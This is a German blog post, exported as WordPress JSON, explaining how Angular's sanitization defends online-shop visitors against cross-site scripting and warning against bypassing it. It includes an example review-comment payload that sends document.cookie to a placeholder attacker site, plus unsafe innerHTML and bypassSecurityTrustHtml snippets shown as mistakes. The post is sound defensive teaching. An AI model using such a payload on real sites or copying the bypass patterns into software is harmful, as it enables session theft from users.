{"id":48862,"date":"2024-01-15T09:28:05","date_gmt":"2024-01-15T08:28:05","guid":{"rendered":"https:\/\/qualityminds.com\/?p=48862"},"modified":"2025-04-23T13:27:35","modified_gmt":"2025-04-23T11:27:35","slug":"wie-kannst-du-deine-website-besucher-mit-angular-security-gegen-xss-schuetzen","status":"publish","type":"post","link":"https:\/\/qualityminds.com\/de\/wie-kannst-du-deine-website-besucher-mit-angular-security-gegen-xss-schuetzen\/","title":{"rendered":"Wie kannst du deine Website-Besucher mit Angular-Security gegen XSS sch\u00fctzen?"},"content":{"rendered":"\n<section id=\"block-667966fb4ce4e\"  class=\"hero-section template11\">\n\t<div class=\"bg\">\n\t\t\t<\/div>\n\t<div class=\"container\">\n\t\t<div class=\"hero-section__wrapper flex flex-wrap justify-between\">\n\t\t\t<div class=\"hero-section__description\">\n\t\t\t\t<div class=\"text-element-wrapper\">\n\t\t\t\t\t<div class=\"text-element\">\n\n<h1 class=\"wp-block-heading has-text-align-left\"><strong>Wie kannst du deine Website-Besucher mit <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-theme-secondary-color\">Angular-Security gegen XSS sch\u00fctzen?<\/mark><\/strong><\/h1>\n\n<\/div>\n\t\t\t\t<\/div>\n\n\t\t\t\t\t\t\t<\/div>\n\n\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t<div class=\"hero-section__img\">\n\t\t\t\t\t\t<img fetchpriority=\"high\" decoding=\"async\" width=\"2048\" height=\"2048\" src=\"https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/01\/Artikel_Angular-Security_Teil-1_Titelbild-2.png\" class=\"attachment-full size-full\" alt=\"Website-Besucher gegen XSS mit Angular Security sch\u00fctzen\" loading=\"eager\" srcset=\"https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/01\/Artikel_Angular-Security_Teil-1_Titelbild-2.png 2048w, https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/01\/Artikel_Angular-Security_Teil-1_Titelbild-2-300x300.png 300w, https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/01\/Artikel_Angular-Security_Teil-1_Titelbild-2-1024x1024.png 1024w, https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/01\/Artikel_Angular-Security_Teil-1_Titelbild-2-150x150.png 150w, https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/01\/Artikel_Angular-Security_Teil-1_Titelbild-2-768x768.png 768w, https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/01\/Artikel_Angular-Security_Teil-1_Titelbild-2-1536x1536.png 1536w\" sizes=\"(max-width: 2048px) 100vw, 2048px\" \/>\t\t\t\t\t<\/div>\n\t\t\t\t\t\t\t\n\t\t\t\n\t\t\t\t\t<\/div>\n\t<\/div>\n\n\t<div class=\"social\">\n\t\t<div class=\"container\">\n\t\t\t<div class=\"social-wrapper flex items-center\">\n\t\t\t\tFolge uns\t\t\t\t\t<ul class=\"no-list no-margin social-list\">\n\t\t\t\t\t<li>\n\t\t\t\t<a href=\"https:\/\/www.linkedin.com\/company\/qualityminds-gmbh\/\" target=\"_blank\" aria-label=\"share on social media\" rel=\"noopener\">\n\t\t\t\t\t<img decoding=\"async\" width=\"29\" height=\"29\" src=\"https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/06\/linkedin.svg\" class=\"attachment-full size-full\" alt=\"\" loading=\"lazy\" \/>\t\t\t\t<\/a>\n\t\t\t<\/li>\n\t\t\t\t\t<li>\n\t\t\t\t<a href=\"https:\/\/www.facebook.com\/QualityMindsGmbH\" target=\"_blank\" aria-label=\"share on social media\" rel=\"noopener\">\n\t\t\t\t\t<img decoding=\"async\" width=\"29\" height=\"29\" src=\"https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/06\/facebook.svg\" class=\"attachment-full size-full\" alt=\"\" loading=\"lazy\" \/>\t\t\t\t<\/a>\n\t\t\t<\/li>\n\t\t\t\t\t<li>\n\t\t\t\t<a href=\"https:\/\/www.xing.com\/pages\/qualitymindsgmbh\" target=\"_blank\" aria-label=\"share on social media\" rel=\"noopener\">\n\t\t\t\t\t<img decoding=\"async\" width=\"29\" height=\"29\" src=\"https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/09\/xing_icon.svg\" class=\"attachment-full size-full\" alt=\"\" loading=\"lazy\" \/>\t\t\t\t<\/a>\n\t\t\t<\/li>\n\t\t\t<\/ul>\n\t\t\t<\/div>\n\t\t<\/div>\n\t<\/div>\n<\/section>\n\n\n\t<section id=\"block-667966fb4ce92\"  class=\"single-post-section\">\n\t\t<div class=\"container\">\n\t\t\t<div class=\"content\">\n\t\t\t\t<div class=\"single-post-main\">\n\t\t\t\t\t<div class=\"text-element\">\n\n<h2 class=\"wp-block-heading\"><strong>Eine typische Story eines Users<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Du bist Nutzer:in eines Online Shops: lange Winterabende sind doch eine nette Gelegenheit, um mal wieder gem\u00fctlich in deinem Lieblings-Online-Shop zu st\u00f6bern. Es gibt gerade tolle Angebote und die neue Winterkollektion ist auch erst k\u00fcrzlich erschienen. Du bist in Shopping-Laune, m\u00f6chtest dir ein cooles Shirt genauer ansehen und \u00f6ffnest daf\u00fcr die Produkt-Detailansicht. Und BOOM! Ohne, dass du es gemerkt hast, wurden soeben deine privaten Daten und Login-Details geklaut. Aber wie konnte das passieren, was ist schiefgelaufen?<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"800\" src=\"https:\/\/qualityminds.com\/wp-content\/uploads\/2025\/04\/Blog_Angular-Security-Teil-1_Login-Diebstahl_DE.png\" alt=\"\" class=\"wp-image-62894\" style=\"width:504px;height:auto\" srcset=\"https:\/\/qualityminds.com\/wp-content\/uploads\/2025\/04\/Blog_Angular-Security-Teil-1_Login-Diebstahl_DE.png 950w, https:\/\/qualityminds.com\/wp-content\/uploads\/2025\/04\/Blog_Angular-Security-Teil-1_Login-Diebstahl_DE-300x253.png 300w, https:\/\/qualityminds.com\/wp-content\/uploads\/2025\/04\/Blog_Angular-Security-Teil-1_Login-Diebstahl_DE-768x647.png 768w\" sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Die Herausforderung &amp; L\u00f6sung f\u00fcr Entwickler:innen<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Du bist Entwickler:in: Erfahre im Folgenden, wie Angreifende mithilfe von Java Script in ver\u00f6ffentlichten Kommentaren die sensiblen Daten deiner Kund:innen stehlen k\u00f6nnen. Denn was sich anh\u00f6rt wie ein True Crime Plot, k\u00f6nnte auf jeder ungesch\u00fctzten Webseite passieren. Aber keine Sorge \u2013 dieser Artikel stellt dir das JavaScript-Framework Angular vor, mit dessen Security Hardening-Mechanismen du dich gegen solche Cyber-Angriffe und Cross-Site-Scripting (XSS) sch\u00fctzen kannst, um deine IT-Sicherheit zu erh\u00f6hen. Lese hier, wie du diese richtig einsetzt und was du dabei noch beachten solltest, um deine Cyber-Security zu verbessern.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"800\" src=\"https:\/\/qualityminds.com\/wp-content\/uploads\/2025\/04\/Blog_Angular_Security_Teil-1_XSS-Loesung-fuer-Entwickler_DE.png\" alt=\"\" class=\"wp-image-62903\" style=\"width:504px;height:auto\" srcset=\"https:\/\/qualityminds.com\/wp-content\/uploads\/2025\/04\/Blog_Angular_Security_Teil-1_XSS-Loesung-fuer-Entwickler_DE.png 950w, https:\/\/qualityminds.com\/wp-content\/uploads\/2025\/04\/Blog_Angular_Security_Teil-1_XSS-Loesung-fuer-Entwickler_DE-300x253.png 300w, https:\/\/qualityminds.com\/wp-content\/uploads\/2025\/04\/Blog_Angular_Security_Teil-1_XSS-Loesung-fuer-Entwickler_DE-768x647.png 768w\" sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Tatort im Web: Sicherheitsl\u00fccken auf Websites<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">&#8230; du bist wieder Nutzer:in: Was ist gerade bei deinem Besuch im Online Shop passiert? Du hast eine Seite mit einer Sicherheitsl\u00fccke besucht. Ohne, dass du es gemerkt hast, hat eine andere Nutzer:in eine Produktrezension zum Produkt hochgeladen. Diese enth\u00e4lt nicht nur h\u00fcbsch formatierten Text mit der Nutzererfahrung zum Produkt, sondern auch JavaScript. Dieses schnappt sich dein Browser und f\u00fchrt die darin beschriebenen Anweisungen brav aus&#8230;also den lokalen Speicher auszulesen und die darin liegenden Cookies an die Website eines b\u00f6swilligen Akteurs zu senden.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Du wurdest Opfer von Cross-Site Scripting!<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Was ist Cross-Site Scripting (XSS)?&nbsp;<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Du bist jetzt wieder Entwickler:in: mit <a href=\"https:\/\/owasp.org\/www-community\/attacks\/xss\/\" target=\"_blank\" rel=\"noreferrer noopener\">XSS<\/a> k\u00f6nnen Angreifende ein b\u00f6sartiges Skript im Web-Browser des Opfers ausf\u00fchren.&nbsp;Der seltsame Kommentar einer Nutzer:in lautet:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>&lt;script>window.location=\"http:\/\/attakers.site\/?cookie=\" + document.cookie;&lt;\/script>\u00a0<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dabei vertraut der Browser dem Fremdskript und gew\u00e4hrt den Angreifenden Zugang zu sensiblen Nutzerinformationen wie Log-In Daten.&nbsp;Im Beispielfall liest das Skript die f\u00fcr die Seite gespeicherten Cookies aus und sendet diese mittels einer GET-Anfrage als Parameter an eine fremde Seite. Mit diesen Cookies w\u00e4ren die Angreifer:innen in der Lage, ohne&nbsp;die Login-Details zu kennen, sich bei der Seite mit der&nbsp;gestohlenen Identit\u00e4t des Opfers anzumelden.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Wie kann aber der Browser nun wissen, was ein legitimes Skript ist? &#8211; Das kann er nicht!&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">JavaScript ist schwer verzichtbar, denn es macht Webseiten lebendiger, interaktiver und nutzerfreundlicher. JavaScript sendet Daten \u00fcbers Netz, empf\u00e4ngt und interpretiert diese.&nbsp;Wie k\u00f6nnen wir dennoch unsere Webseite und somit auch unsere Kund:innen sch\u00fctzen?&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Angular&#8217;s L\u00f6sung &#8211; Traue niemanden<\/strong>&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/angular.io\/guide\/security\" target=\"_blank\" rel=\"noreferrer noopener\">Angular Security<\/a>: Um systematisch XSS-Bugs zu blocken, behandelt Angular alle Werte als nicht vertrauensw\u00fcrdig.\u00a0Wenn nun also mittels der Nutzung von interpolierenden Klammern &#8211; <code>{{meinWert}}<\/code> &#8211; in Angular ein Wert dargestellt wird, wird dieser von Angular enkodiert. Das hei\u00dft, der Browser wird den Wert als pures textuelles Anzeigeelement <code>(String)<\/code> interpretieren.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Auch dynamisch generierter Inhalt, wie in unserem Beispiel der Nutzerbewertung von vorhin, kann durch Angular gesch\u00fctzt werden. Um Formatierungs-HTML-Tags in Kommentaren beizubehalten und Nutzer:innen vor Skripten zu bewahren, hat Angular <code>[innerHtml]<\/code> vorgestellt.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hier werden potenziell gef\u00e4hrliche Kommentare von Nutzer:innen dynamisch in Angular eingebunden.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>&lt;div [innerHtml]=\"userComment\"&gt;&lt;\/div&gt;<br>export class CommentComponent {<\/code><br>  <code>userComment: string = '&lt;p&gt;This is a &lt;strong&gt;user comment&lt;\/strong&gt; with &lt;em&gt;HTML&lt;\/em&gt; tags.&lt;\/p&gt;';<br>}&nbsp;<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Skripte werden dabei automatisch in normalen Text umgewandelt.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Im Falle unseres Nutzerbeispiels, wird der <code>&lt;script><\/code> Tag als Text interpretiert und dargestellt. Somit wird diese Art von Angriffen effektiv abgewehrt.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Plot Twist: Entwickler:innen bearbeiten den DOM<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Angular erlaubt Entwickler:innen, das Document Object Model (DOM) einer Website auf mehrere Arten anzupassen. So geh\u00f6ren neben der schon erw\u00e4hnten <a href=\"https:\/\/angular.io\/guide\/interpolation\" target=\"_blank\" rel=\"noreferrer noopener\">Dateninterpolation<\/a> auch das <a href=\"https:\/\/angular.io\/guide\/property-binding\" target=\"_blank\" rel=\"noreferrer noopener\">Property Binding<\/a>, <a href=\"https:\/\/angular.io\/guide\/template-reference-variables\" target=\"_blank\" rel=\"noreferrer noopener\">Template Referenzen<\/a> und <a href=\"https:\/\/angular.io\/guide\/structural-directives\" target=\"_blank\" rel=\"noreferrer noopener\">strukturelle Direktiven<\/a> zu den n\u00fctzlichen Angular Werkzeugen f\u00fcr die DOM-Manipulation. Dies h\u00e4lt manche Entwickler:innen leider nicht davon ab, den DOM manuell zu bearbeiten. So f\u00fchrt eins zum anderen, Code wird in der Anwendung wiederverwendet und gelangt in einen unsicheren Kontext.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>@ViewChild(\"myHeading\") heading: ElementRef&nbsp;<br>setHeading(headingValue: string) {&nbsp;<br>  this.heading.nativeElement.innerHTML = headingValue;<br>}<\/code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hier kann die Eingabe einer Nutzer:in ungepr\u00fcft die Angular Schutzmechanismen umgehen.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ein anderer Weg diese Mechanismen (auch Angular DomSanitizer genannt) zu umgehen, ist es diese Ma\u00dfnahmen aktiv auszuschalten. Wie oft findet man als Entwickler:in die scheinbar perfekte L\u00f6sung auf <a href=\"https:\/\/stackoverflow.com\" target=\"_blank\" rel=\"noreferrer noopener\">Stack<\/a>; nur um dann festzustellen, dass diese in der aktuellen Sicherheitskonfiguration im Projekt blockiert wird? Angular l\u00e4sst es auch zu, den vom Werk aus eingestellten Schutz mittels folgender Funktionen abzuschalten:&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>byPassSecurityTrustHtml()<br>byPassSecurityTrustStyle()<br>byPassSecurityTrustScript()<br>byPassSecurityTrustUrl()<br>byPassSecurityTrustResourceUrl()<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Manche von diesen werden, f\u00fcr einfache Wiederverwendbarkeit, gerne in <a href=\"https:\/\/angular.io\/guide\/pipes\" target=\"_blank\" rel=\"noreferrer noopener\">Angular Pipes<\/a> ausgelagert:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>@Pipe({ name: 'escapeHtml', pure: false })<\/code><br><code>export class EscapeHtmlPipe implements PipeTransform {<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>constructor(private sanitizer: DomSanitizer) {}<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>transform(content: string) {<\/code><br><code>return this.sanitizer.bypassSecurityTrustHtml(content);<\/code><br><code>}<\/code><br><code>}<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Leider ist die Nutzung oder nur die Bereitstellung solcher Schutz-Aushebelungsmethoden <strong>keine gute Idee.&nbsp;<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Extra Schutz &#8211; npm audit<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Jede Kleinigkeit selbst implementieren? Heutzutage undenkbar. Eine Vielzahl an L\u00f6sungen in Form von externen Bibliotheken erm\u00f6glicht es, eine notwendige Abh\u00e4ngigkeit schnell einzubinden und schon muss kaum noch etwas implementiert werden. Das Risiko dabei ist, dass externe Bibliotheken den Code anderer Entwickler:innen enthalten und somit nicht gegen&nbsp;Sicherheitsrisiken immun sind. Um die Gefahr von XSS durch Fremdcode zu minimieren, ist es zu empfehlen, g\u00e4ngige und regelm\u00e4\u00dfig aktualisierte Bibliotheken zu nutzen.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">F\u00fcr einen \u00dcberblick \u00fcber potenziell bekannte Schwachstellen in der eigenen Anwendung hilft der Befehl: <strong>npm audit. <\/strong>Dieser pr\u00fcft alle im Projekt verwendeten Abh\u00e4ngigkeiten auf bekannte Sicherheitsschwachstellen. Anschlie\u00dfend wird ein Report erstellt, der alle derzeitig bekannten Schwachstellen im Projekt auflistet. Mittels <strong>npm audit fix<\/strong> k\u00f6nnte auch ein automatisiertes Update der betroffenen Abh\u00e4ngigkeiten unternommen werden.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Nun bleiben einige Fragen offen, die von Projektkonstellation, Kundenvereinbarungen und Vertragsbedingungen abh\u00e4ngen:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Wie oft soll nach Schwachstellen gepr\u00fcft werden?<\/li>\n\n\n\n<li>Wie geht man mit Schwachstellen um, die sich nicht durch ein Update schlie\u00dfen lassen?<\/li>\n\n\n\n<li>Wie lange darf eine Schwachstelle toleriert werden, bevor die Abh\u00e4ngigkeit durch eine andere ersetzt werden muss?<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Und das erwartet dich im n\u00e4chsten Beitrag:<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Dein Angular-Code ist nun sicher gegen Cross-Site-Scripting-Attacken. Das gef\u00e4llt den Angreifenden \u00fcberhaupt nicht. Diese m\u00fcssen sich jetzt n\u00e4mlich mehr anstrengen, um ihren b\u00f6swilligen JavaScript-Code bei deinen Webseite-Besucher:innen einzuschleusen. Ihr Ziel sind deshalb nun die nicht von dir geschriebenen Software-Module \u2013 die Abh\u00e4ngigkeiten deines Projektes. Einen verst\u00e4rkten Sicherheitsrahmen gegen potenziell gef\u00e4hrliche Fremdinhalte auf deiner Website bietet die iframe sandbox. Erfahre im <a href=\"https:\/\/qualityminds.com\/de\/angular-security-iframe-sandbox\/\">n\u00e4chsten Beitrag<\/a>, wie du als Entwickler:in verhindern kannst, dass b\u00f6swilliger Code aus solch importieren, fremden Inhalten ausbrechen kann.<\/p>\n\n<\/div>\n\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<div class=\"single-post-aside\">\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"post-author-wr\">\n\t\t\t\t\t\t\t<div class=\"author-img\">\n\t\t\t\t\t\t\t\t<img alt='' src='https:\/\/secure.gravatar.com\/avatar\/352c34b9ad9057f909b73077ffed49959a9c5a1ab228e936d9c91f430425c46e?s=96&#038;d=mm&#038;r=g' srcset='https:\/\/secure.gravatar.com\/avatar\/352c34b9ad9057f909b73077ffed49959a9c5a1ab228e936d9c91f430425c46e?s=192&#038;d=mm&#038;r=g 2x' class='avatar avatar-96 photo' height='96' width='96' \/>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"author-info text-element\">\n\t\t\t\t\t\t\t\t\t<p>\n\t\t\t\t\t\t\t\t\t\tGeschrieben von:\t\t\t\t\t\t\t\t\t<\/p>\n\t\t\t\t\t\t\t\t\t<p class=\"author-name\">\n\t\t\t\t\t\t\t\t\t\tVergil Iliev\t\t\t\t\t\t\t\t\t<\/p>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"aside-cta\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"icon-wr\">\n\t\t\t\t\t\t\t\t\t<img decoding=\"async\" width=\"76\" height=\"76\" src=\"https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/05\/Capa_1.svg\" class=\"attachment-full size-full\" alt=\"\" loading=\"lazy\" \/>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"text-element\">\n\t\t\t\t\t\t\t\t\t<p>M\u00f6chtest du dich \u00fcber dein pers\u00f6nliches Anliegen zur digitalen Transformation austauschen?<\/p>\n<p>Schreibe uns f\u00fcr eine kostenlose und unverbindliche Beratung auf:<\/p>\n<p><a href=\"mailto:hello@qualityminds.de\">hello@qualityminds.de<\/a><\/p>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"similar-posts\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"heading\">\n\t\t\t\t\t\t\t\t\tWeiterf\u00fchrende Links\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<ul class=\"no-list no-margin\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t\t<a href=\"https:\/\/qualityminds.com\/de\/zwei-kurven-voraus-was-rallyesport-ueber-moderne-fuehrung-verraet-eine-fuenfteilige-serie-ueber-fuehrung-vertrauen-und-zusammenarbeit-teil-5\/\">Zwei Kurven voraus: Was Rallyesport \u00fcber moderne F\u00fchrung verr\u00e4t \u2013 Eine f\u00fcnfteilige Serie \u00fcber F\u00fchrung, Vertrauen und Zusammenarbeit. Teil 5.\t\t\t\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t\t\t<\/li>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t\t<a href=\"https:\/\/qualityminds.com\/de\/resilienz-fokus-fur-nachhaltige-performance-zwei-kurven-voraus-was-rallyesport-uber-moderne-fuhrung-verrat\/\">Zwei Kurven voraus: Was Rallyesport \u00fcber moderne F\u00fchrung verr\u00e4t \u2013 Eine f\u00fcnfteilige Serie \u00fcber F\u00fchrung, Vertrauen und Zusammenarbeit. Teil 4.\t\t\t\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t\t\t<\/li>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t\t<a href=\"https:\/\/qualityminds.com\/de\/unternehmensfuhrung-zwei_kurven_voraus_teil_3-_fehlerkultur\/\">Zwei Kurven voraus: Was Rallyesport \u00fcber moderne F\u00fchrung verr\u00e4t &#8212; Eine f\u00fcnfteilige Serie \u00fcber F\u00fchrung, Vertrauen und Zusammenarbeit. Teil 3.\t\t\t\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t\t\t<\/li>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/ul>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t<\/div>\n\n\t\t\t\t\t\t\t<div class=\"social-sharing\">\n\t\t\t\t\t<p class=\"no-margin\"> teilen\t\t\t\t\t<\/p>\n\t\t\t\t\t\n<ul class=\"no-list no-margin\">\n\t<li>\n\t\t<a href=\"https:\/\/www.linkedin.com\/feed\/?shareActive=true&#038;text=https:\/\/qualityminds.com\/de\/unternehmensfuhrung-zwei_kurven_voraus_teil_3-_fehlerkultur\/\" class=\"linkedin\" target=\"_blank\" aria-label=\"auf LinkedIn teilen\"><\/a>\n\t<\/li>\n\t<li>\n\t\t<a href=\"https:\/\/www.facebook.com\/sharer\/sharer.php?u=https:\/\/qualityminds.com\/de\/unternehmensfuhrung-zwei_kurven_voraus_teil_3-_fehlerkultur\/\" class=\"facebook\" target=\"_blank\" aria-label=\"auf Facebook teilen\"><\/a>\n\t<\/li>\n\t<li>\n\t\t<a href=\"https:\/\/www.xing.com\/spi\/shares\/new?url=https:\/\/qualityminds.com\/de\/unternehmensfuhrung-zwei_kurven_voraus_teil_3-_fehlerkultur\/\" class=\"xing\" target=\"_blank\" aria-label=\"auf Xing teilen\"><\/a>\n\t<\/li>\n<\/ul>\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t<\/section>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":65,"featured_media":48906,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1,483],"tags":[504,503],"class_list":["post-48862","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog-de","category-software-dev-de","tag-blog","tag-software-engineering"],"acf":[],"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"https:\/\/qualityminds.com\/wp-content\/uploads\/2024\/01\/Artikel_Angular-Security_Teil-1_Titelbild-2.png","_links":{"self":[{"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/posts\/48862","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/users\/65"}],"replies":[{"embeddable":true,"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/comments?post=48862"}],"version-history":[{"count":16,"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/posts\/48862\/revisions"}],"predecessor-version":[{"id":62916,"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/posts\/48862\/revisions\/62916"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/media\/48906"}],"wp:attachment":[{"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/media?parent=48862"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/categories?post=48862"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/qualityminds.com\/de\/wp-json\/wp\/v2\/tags?post=48862"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}